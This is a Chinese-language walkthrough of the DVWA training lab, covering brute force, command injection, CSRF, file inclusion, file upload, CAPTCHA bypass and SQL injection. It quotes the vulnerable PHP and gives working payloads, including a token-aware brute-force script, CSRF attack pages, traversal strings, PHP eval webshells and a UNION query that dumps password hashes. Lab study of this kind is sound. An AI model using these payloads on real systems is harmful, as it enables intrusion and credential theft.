- DVWA-1.1 Brute Force(暴力破解)-Low
- DVWA-1.2 Brute Force(暴力破解)-Medium
- DVWA-1.3 Brute Force(暴力破解)-High-绕过token
- DVWA-2.1 Command Injection(命令注入)-Low
- DVWA-2.2 Command Injection(命令注入)-Medium-绕过弱的黑名单
- DVWA-2.3 Command Injection(命令注入)-High-绕过强的黑名单
- DVWA-3.1 CSRF(跨站请求伪造)-Low
- DVWA-3.2 CSRF(跨站请求伪造)-Medium-绕过Referer验证
- DVWA-3.3 CSRF(跨站请求伪造)-High-绕过token
- DVWA-4.1 File Inclusion(文件包含)-Low
- DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则
- DVWA-4.3 File Inclusion(文件包含)-High-利用file协议绕过防护策略
- DVWA-5.1 File Upload(文件上传)-Low
- DVWA-5.2 File Upload(文件上传)-Medium-绕过文件类型限制
- DVWA-5.3 File Upload(文件上传)-High-绕过文件类型限制
- DVWA-6.1 Insecure CAPTCHA(不安全的验证码)-Low
- DVWA-6.2 Insecure CAPTCHA(不安全的验证码)-Medium
- DVWA-6.3 Insecure CAPTCHA(不安全的验证码)-High
- DVWA-7.1 SQL Injection(SQL注入)-Low
DVWA-1.1 Brute Force(暴力破解)-Low
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以使用万能密码(admin'#
)或者爆破用户名密码
传入 username 和 pwd 之后查库对比,没有限制,burp 爆破用户和密码
同时爆破用户名和密码,选择 Cluster bomb
常用用户名和密码字典:
爆破出 admin 账号密码,实际上还有其他用户,时间关系没继续爆破
DVWA-1.2 Brute Force(暴力破解)-Medium
使用 mysqli_real_escape_string 对特殊字符进行转移,万能密码失效,使用和上一题一样的爆破思路
DVWA-1.3 Brute Force(暴力破解)-High-绕过token
提交参数多了 user_token ,抵御 CSRF
每次刷新密码提交页面(即从服务器返回登录页面)都会包含 usertoken ,提交登录数据包时会携带上。收到数据包后,服务将 usertoken 与 session_token 比较,判断 CSRF 。
使用了stripslashes()、 mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入
python 脚本单线程爆破,因为一个密码需要对应一个 usertoken ,且一个密码校验完才能进行下一个
思路先访问页面获取到 token ,然后进行爆破
import requests
from bs4 import BeautifulSoup
def getToken():
url = "http://dvaw:8888/vulnerabilities/brute/"
headers = {"Cookie":"PHPSESSID=d665b9e2229f67e34506fa2fb07320cf; security=high"}
response = requests.get(url,headers=headers)
soup = BeautifulSoup(response.text,"xml")
usertoken = soup.find_all('input',attrs={'name':'user_token'})[0]["value"]
return usertoken
def attack():
url = "http://dvaw:8888/vulnerabilities/brute/"
headers = {"Cookie":"PHPSESSID=d665b9e2229f67e34506fa2fb07320cf; security=high"}
usernames = open("/Users/Sec/tools/密码字典/top1000.txt")
passwords = open("/Users/Sec/tools/密码字典/top1000.txt")
for username in usernames:
for password in passwords:
userToken = getToken()
password = password.strip()
params = {'username':username,'password':password,"Login":"Login","user_token":userToken}
response = requests.get(url,params=params,headers=headers)
if "Welcome to the password protected area" in response.text:
print("username:{}\tpassword:{}\tusertoken:{}\t-----RIGHT".format(username,password,userToken))
break
else:
print("username:{}\tpassword:{}\tusertoken:{}\t-----WRONG".format(username,password,userToken))
if __name__ == "__main__":
attack()
DVWA-2.1 Command Injection(命令注入)-Low
DVWA-2.2 Command Injection(命令注入)-Medium-绕过弱的黑名单
str_replace(find,replace,string,count)
函数替换字符串中的一些字符(区分大小写)。
<?php
echo str_replace("world","Peter","Hello world!");
?>
solve0
1.1.1.1&ls
solve1
;
替换为空,构成了 &&
1.1.1.1&;&ls
DVWA-2.3 Command Injection(命令注入)-High-绕过强的黑名单
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
'| '
多了一个空格,过滤规则错误
1.1.1.1|ls
DVWA-3.1 CSRF(跨站请求伪造)-Low
mysqli_real_escape_string()
将密码中的特殊字符进行转义,抵御 SQL 注入
源码没有校验 token 的地方,只要浏览器之前登录过 DWAV(因为是否登录系统在上层函数有校验),那么访问下面链接就会被修改密码:
http://dvaw:8888/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
换个浏览器就不行了,因为 token 不通用。
DVWA-3.2 CSRF(跨站请求伪造)-Medium-绕过Referer验证
stripos(string,find,start)
:返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 FALSE。
过滤规则是http包头的Referer参数的值中必须包含主机名
HTTP_REFERER 是来源地址;SERVER_NAME 是主机名
绕过方法
将攻击网页重命名为主机名,访问时 HTTP_REFERER 就带上主机名
例子
修改题目源码,限定主机名为 hack
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,"hack") !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
根目录下创建文件 hack.php
<html>
<img src="http://dvaw:8888/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change"/>
<h1>404</h1>
</html>
访问[http://dvaw:8888/](http://dvaw:8888/)hack.php
即可修改密码
DVWA-3.3 CSRF(跨站请求伪造)-High-绕过token
和 high 爆破密码一样,返回页面时会带有 token ,提交的时候会一同提交用于抵御 CSRF
跨站获取(实际不可行)
写一个攻击网页,受害者点击进入时会以隐藏方式打开页面获取 token ,然后提交修改密码的申请。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<script type="text/javascript">
function attack() {
// 获取token
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
// 自动提交修改密码请求
document.getElementById('transfer').submit();
}
</script>
<!--隐藏的内嵌式网页,用于获取token-->
<iframe src="http://dvaw:8888/vulnerabilities/csrf/" id="hack" border="0" style="display: none;"></iframe>
<body onload="attack()">
<form method="get" id="transfer" action="http://dvaw:8888/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
理论上访问这个网页:http://localhost:8888/hack.html
,就能修改密码。实际上浏览器不允许跨域请求,即不允许域名 A 请求域名 B 的内容,但域名 B 可以发送数据给域名 A 。因此无法获取到 token 。
跨域不能实现,需要将代码注入到目标服务器才行,利用 XSS 等注入代码
DVWA-4.1 File Inclusion(文件包含)-Low
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
本地文件包含
http://dvaw:8888/vulnerabilities/fi/?page=/Users/skye/flag
远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件http://dvaw:8888/vulnerabilities/fi/?page=http://localhost:8888/phpinfo.php
DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
用 str_replace 将特定字符串替换为空,双写字符串类似于:httphttp://://
替换后变成http://
本地文件包含
对于绝对路径没有影响,相对路径需要双写http://dvaw:8888/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//Users/skye/flag
远程文件包含
http://dvaw:8888/vulnerabilities/fi/?page=hthttp://tp://localhost:8888/phpinfo.php
DVWA-4.3 File Inclusion(文件包含)-High-利用file协议绕过防护策略
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch() 函数根据指定的模式来匹配文件名或字符串。用在这里就是限制 $file 以file
开头。
利用 file 协议就可以绕过这个防护。(浏览器打开本地文件就是用 file 协议)http://dvaw:8888/vulnerabilities/fi/?page=file:///Users/skye/flag
DVWA-5.1 File Upload(文件上传)-Low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
$_FILES[ 'uploaded' ][ 'name' ]
上传文件再 $_FILES 这个字典里面,提前文件名出来move_uploaded_file
移动文件
没有对文件内容、后缀等进行限制,上传一句话木马 getshell
<?php
@eval($_POST['SkYe231'];
?>
DVWA-5.2 File Upload(文件上传)-Medium-绕过文件类型限制
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
限制文件类型为 jpeg png ,文件大小不大于 100000
文件包含绕过
难度均在 medium
将后门 1.png 上传到服务器:
<?php
@eval($_POST['SkYe231'];
蚁剑链接:http://dvaw:8888/vulnerabilities/fi/?page=httphttp://://dvaw:8888/hackable/uploads/1.png
修改文件类型
服务器根据 content-type 判断文件类型,当上传 png 时:
固定 content-type ,将 filename 后缀改为 php
访问文件时,让服务器当作代码运行
DVWA-5.3 File Upload(文件上传)-High-绕过文件类型限制
难度均在 high
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
限制文件后缀、文件大小,需要上传一个真实的图片文件才能通过校验,这里就上传一个图片马
图片马
1.php
<?php
@eval['SkYe231']; ?>
1.png 随便截个图就好了,然后生成图片马,上传
cat 1.png 1.php > hack.png
之后利用 file 协议绕过检测造成文件包含,执行代码:http://dvaw:8888/vulnerabilities/fi/?page=file:///Users/skye/Sites/DVWA/hackable/uploads/hack.png
DVWA-6.1 Insecure CAPTCHA(不安全的验证码)-Low
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
step=1
初始化 CAPTCHA 服务,并检查是否通过验证step=2
进行更新密码操作,这时认为通过了验证
抓包将 step 修改成 2 就绕过验证操作
DVWA-6.2 Insecure CAPTCHA(不安全的验证码)-Medium
step=2 的时候多了一个 passed_captcha ,抓包的时候加上就好了。
DVWA-6.3 Insecure CAPTCHA(不安全的验证码)-High
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
resp 返回值不会控制,抓包修改 g-recaptcha-response 和 USER_AGENT 就能绕过验证,同时开启 token 校验,防止 CSRF
DVWA-7.1 SQL Injection(SQL注入)-Low
- 判断闭合符:
1'
- 判断字段数:
1' order by 3#
- 判断显示字段位置(顺序):
1' union select 1,2#
- 获取数据库名:
1' union select 1,database()
- 获取当前数据库表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = DATABASE()#
- 获取表中字段名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
- 获取表中数据:
1' union SELECT 1,group_concat(USER,':',PASSWORD) FROM users#